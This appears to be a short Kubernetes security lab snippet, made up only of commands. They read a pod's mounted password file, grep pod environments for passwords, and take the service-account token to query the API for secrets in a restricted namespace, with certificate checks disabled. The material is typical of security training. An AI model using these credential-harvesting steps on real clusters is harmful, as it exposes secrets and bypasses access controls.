Kubernetes Get Secret Without Permissions

1

kubectl exec pod1 -- cat /etc/secret-volume/password

1

kubectl exec pod2 -- env | grep PASS

1

kubectl exec -it pod3 -- sh

1

mount | grep serviceaccount

1

tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)

1

ls /run/secrets/kubernetes.io/serviceaccount

1

ca.crt     namespace  token

1

curl https://kubernetes.default/api/v1/namespaces/restricted/secrets -H "Authorization: Bearer $(cat /run/secrets/kubernetes.io/serviceaccount/token)" -k